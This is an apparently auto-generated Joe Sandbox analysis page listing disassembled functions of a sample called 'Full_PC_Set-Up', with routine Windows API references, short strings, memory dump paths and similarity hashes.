Opcode Fuzzy Hash: 266700f39b356da5426d7af41be5848c5d60c8ab11d8d01989cbe8d31d642d3c
Instruction Fuzzy Hash: D9114CB6211A019FD304DB68CD46E16B3A5EF99331B15C76DE166CB2E5DB70EC01CB90

Function 00374E7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00374EBD
SendMessageW.USER32(00000000,00000433,00000000,?), ref: 00374EEA

Part of subcall function 00363490: SendMessageW.USER32(?,00000401,00000000,00000000), ref: 003634B5
Part of subcall function 00363490: GetKeyState.USER32(00000001), ref: 003634CA

Strings

,, xrefs: 00374EDC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$State_memset
String ID: ,
API String ID: 930327405-3772416878
Opcode ID: d3efd07a665a858ebcd30c9e1b355635f558cf6ab07aa1ed5be8a0b238a24db6
Instruction ID: a5b51c1dac0180c437256b813791b7f42dbfc30626fa3ab32108ca4721d68bf4
Opcode Fuzzy Hash: d3efd07a665a858ebcd30c9e1b355635f558cf6ab07aa1ed5be8a0b238a24db6
Instruction Fuzzy Hash: AD119E31500308EFD772DFA6D885BAAB7B4FF80324F15801AE649AA991D7B4F940CF95

Function 004B2BA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 004B2BFD
_strncpy.LIBCMT ref: 004B2C2C

Strings

OGK, xrefs: 004B2BB9, 004B2BCF, 004B2BEF, 004B2BF5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _strncpy
String ID: OGK
API String ID: 2961919466-3669054005
Opcode ID: 790da7e484d68bba7c98bff41f2b56e49d17513587352f8ccafe1da3bddc8226
Instruction ID: 126a76f3a175127bdc8b4478479fd021e020cd98171c5a125aa66090cd6e490c
Opcode Fuzzy Hash: 790da7e484d68bba7c98bff41f2b56e49d17513587352f8ccafe1da3bddc8226
Instruction Fuzzy Hash: 611130B4A003089FCB14DF58D995FDAB7B5AF88300F1481A9FC5D9B382EA34AA15CF55

Function 00303010 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F1,?,00000000), ref: 0030302D

Part of subcall function 00367DFE: EnableWindow.USER32(?,?), ref: 00367E0F

SendMessageW.USER32(?,000000F1,?,00000000), ref: 0030306A

Strings

%I64d, xrefs: 00303080

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$EnableWindow
String ID: %I64d
API String ID: 1554173715-4161572682
Opcode ID: a09c5594fb8bbb68d36214a3e96e702af514430f762b906d9ee32e6b1dc42f1a
Instruction ID: a7ede71272da3cc47a23eceb836ebd5b299290c5caca06fe0e6a82e961570c7d
Opcode Fuzzy Hash: a09c5594fb8bbb68d36214a3e96e702af514430f762b906d9ee32e6b1dc42f1a
Instruction Fuzzy Hash: 4E017171340B01ABD635D734CCA1FF7B3A9AF88704F50880DF2AA5B280DE7478418760

Function 00392319 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

XX, xrefs: 00392370

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID: XX
API String ID: 0-698139797
Opcode ID: 4de1cbaecd5b2ff30de59827fff9469a32a2462c788da2903ff8c51003cdb770
Instruction ID: 48cbc6c4b3c8b89363fe51b040a7c6a9880fd481e7d52d0b5e49fb4c64987785
Opcode Fuzzy Hash: 4de1cbaecd5b2ff30de59827fff9469a32a2462c788da2903ff8c51003cdb770
Instruction Fuzzy Hash: 0DF0F675500208BBDF52AF54EC42BBA3BA9EB50348F009021FD05EA1D1E3B6CAD8E790

Function 002A4340 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__localtime64_s.LIBCMT ref: 002A4369
__cftof.LIBCMT ref: 002A4389

Part of subcall function 003821BC: __wcsftime_l.LIBCMT ref: 003821CF

Strings

%Y-%m-%d %H:%M:%S, xrefs: 002A437A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __cftof__localtime64_s__wcsftime_l
String ID: %Y-%m-%d %H:%M:%S
API String ID: 768574111-1763325376
Opcode ID: 03ef885db99bb6d6d19c327a1cd4e75cb85101b317dc95fd442daef2df71dbc2
Instruction ID: 23c07c98906cb15293dc9879dcf2a181fa2ddf943e414acf47e956c6ec2a26ed
Opcode Fuzzy Hash: 03ef885db99bb6d6d19c327a1cd4e75cb85101b317dc95fd442daef2df71dbc2
Instruction Fuzzy Hash: 18F0AF726243009BD761EB64DC52BAB73E46B9C700F10091CFA8886140FB70D5288797

Function 00307520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030757C
_memset.LIBCMT ref: 00307592

Strings

|PK, xrefs: 00307527, 00307537, 0030754A, 00307554, 00307561, 00307575, 00307588, 0030759A, 0030757B, 00307591

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset
String ID: |PK
API String ID: 2102423945-4179594602
Opcode ID: 1f03c1a4466dfff21564be79abd377d19587997ab17fa90ef549748159407436
Instruction ID: 01b43996235b1b58bdf59bf5580c364acc194003f1c5ae9020272477c8572f16
Opcode Fuzzy Hash: 1f03c1a4466dfff21564be79abd377d19587997ab17fa90ef549748159407436
Instruction Fuzzy Hash: 78011D74A00208EBE704DF84D955F5DB7F4AF44308F2481E8E4086F382DBB6AE05DB54

Function 003A7080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003A708C
CreateDIBSection.GDI32 ref: 003A70DD

Strings

(, xrefs: 003A70CD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateSection_memset
String ID: (
API String ID: 3331753385-3887548279
Opcode ID: 6162b621e68a97b66038a091b685b80e81e58a486a97ff00d65f09ffa5d1602a
Instruction ID: 4a7766b3b1de0013625ba8b129c4af163756953f8e00e906a36c12dff809d695
Opcode Fuzzy Hash: 6162b621e68a97b66038a091b685b80e81e58a486a97ff00d65f09ffa5d1602a
Instruction Fuzzy Hash: 1F01EF74208301ABE308DF14C885B5FBBE5BFC9700F54491CF6858B291D7B6AA088B87

Function 002D73C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036FF51: SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 0036FF5D

SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D73E2
SendMessageW.USER32 ref: 002D7407

Strings

, xrefs: 002D73FB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-3916222277
Opcode ID: 5f6373b628d6b84bda57a7eafb9b17c22b7f4696d700418449d315577c0ef179
Instruction ID: 85a460ce01bf6c0d497089feece8272fbdb1458b2afd45ce0e95f565ca259b63
Opcode Fuzzy Hash: 5f6373b628d6b84bda57a7eafb9b17c22b7f4696d700418449d315577c0ef179
Instruction Fuzzy Hash: E5F0A7B17063016BD211EE28CC41F9BBBE4AFD4740F014A39FD689F391D674E8658B95

Function 00366893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 003705A7: __EH_prolog3.LIBCMT ref: 003705AE

GetCurrentThreadId.KERNEL32 ref: 003668C2
SetWindowsHookExW.USER32(00000005,00366673,00000000,00000000), ref: 003668D2

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

Strings

H`, xrefs: 0036689F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CurrentException@8H_prolog3HookThreadThrowWindows
String ID: H`
API String ID: 1226552664-4066819451
Opcode ID: ea81b13ec4ed43e5484fc1f8f3d7aa6488ba69421142112aa86d23e84afcdbb1
Instruction ID: cba5e94e17eac7b4e0374a446843d1bfc83b086d71b1714d795c04af9f8285ec
Opcode Fuzzy Hash: ea81b13ec4ed43e5484fc1f8f3d7aa6488ba69421142112aa86d23e84afcdbb1
Instruction Fuzzy Hash: CEF0E231100B099BD3336B629C07B1B7AA5CBC07A1F12812BF6495B544C730DC40CAA7

Function 002D7360 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036FF51: SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 0036FF5D

SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D7382
SendMessageW.USER32 ref: 002D739F

Strings

, xrefs: 002D7397

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-3916222277
Opcode ID: 5c8b674a6905c6fd42873c787c77b43e3ae04a55d25fade62ef5348026f93248
Instruction ID: 0b09921a2f01f87754adfe91bb9c8172c57e394bf66bbee6069de4a927772ed1
Opcode Fuzzy Hash: 5c8b674a6905c6fd42873c787c77b43e3ae04a55d25fade62ef5348026f93248
Instruction Fuzzy Hash: 34F0E53274520167D610AA28CC56F8E7BA4AFD4B50F110759FC689B2E6E274E8168A91

Function 003231D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 003231E2
_memcmp.LIBCMT ref: 003231F9

Strings

II*, xrefs: 003231F0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: II*
API String ID: 2931989736-2047496903
Opcode ID: 3436783287c44b648071b4ee314abb736827b55a6adc18ece1888146171f32c1
Instruction ID: 321aab139029321d0386e37f6748429b70fa455c9a35d1442792ecf1a8161808
Opcode Fuzzy Hash: 3436783287c44b648071b4ee314abb736827b55a6adc18ece1888146171f32c1
Instruction Fuzzy Hash: D2E09B71740304B7D7159650EC03F5A375D9714740F004564BE059E2C2E9F5EE1083A4

Function 0047ECF5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0047ECFC
__CxxThrowException@8.LIBCMT ref: 0047ED27

Part of subcall function 003879F3: RaiseException.KERNEL32(?,?,?,?), ref: 00387A35

Part of subcall function 00291550: std::exception::exception.LIBCMT ref: 0029157E

Strings

invalid string position, xrefs: 0047ED01

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::exception::exception
String ID: invalid string position
API String ID: 2977319401-1799206989
Opcode ID: e3df4d7d69b94a69a21c14954792fc834f8a6e1434041262855c23aefac332b0
Instruction ID: 9f0ab17f6eb051a4d1f118bce725e01f7b57abfec85aa673d26723630f813690
Opcode Fuzzy Hash: e3df4d7d69b94a69a21c14954792fc834f8a6e1434041262855c23aefac332b0
Instruction Fuzzy Hash: 7EF03076910218A7CB11FBD5C816EDEBB69EF40761F501429F208AA181DFB4A9218B94

Function 0036B85F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0036B875

Part of subcall function 003879F3: RaiseException.KERNEL32(?,?,?,?), ref: 00387A35

GetViewportExtEx.GDI32(?,?,?,?,?,0060E750,005626DC,?,?,?,00562698,?,00000000,0036C34D,00000000), ref: 0036B889

Strings

h`, xrefs: 0036B86E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowViewport
String ID: h`
API String ID: 987333385-866620031
